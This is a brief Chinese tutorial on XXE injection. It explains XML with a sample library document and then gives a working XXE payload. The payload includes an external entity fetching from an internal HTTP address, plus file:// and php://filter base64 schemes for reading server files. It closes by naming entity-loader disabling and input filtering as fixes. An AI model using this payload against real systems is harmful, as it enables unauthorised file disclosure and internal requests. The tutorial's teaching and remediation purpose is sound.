一、漏洞原理
XML是什么?
官方的说法:XML(可扩展标记语言,Extensible Markup Language)是一种用于描述数据的标记语言。它被设计用于传输和存储数据,尤其适用于因特网上的文档表示和信息交换。
简单的来说XML就相当于是一本书,而书中有章目录页,目录内引用的就是书中的内容这叫实体应用,而XXE攻击就是通过外部引用。
<?xml version="1.0" encoding="UTF-8"?> //是 XML 声明,指定 XML 版本和字符集。
<library> //是根元素。
<!-- This is a comment --> //是注释。
<book category="fantasy">
<title>Harry Potter</title>
<author>J.K. Rowling</author>
</book>
<book category="science-fiction">
<title>Dune</title>
<author>Frank Herbert</author>
</book>
<book category="mystery">
<title>Sherlock Holmes</title> //元素包含文本内容。
<author>Arthur Conan Doyle</author> //元素包含文本内容。
</book>
</library>
<?xml version="1.0" encoding="UTF-8"?> 是 XML 声明,指定 XML 版本和字符集。
<library> 是根元素。
<!-- This is a comment --> 是注释。
<book> 元素包含了一个属性 category,以及两个子元素 <title> 和 <author>。
<title> 和 <author> 元素包含文本内容。
二、漏洞利用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://172.16.234.196/1.txt"> ]>
<user><username>&xxe;</username><password>admin</password></user>
读取文件,通过调用用户用构造的payload
file://
http://url/文件名
php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.txt
三、漏洞修复
- 直接禁止外部实体引用,libxml_disable_entity_loader(true)
- 过滤用户提交的xml数据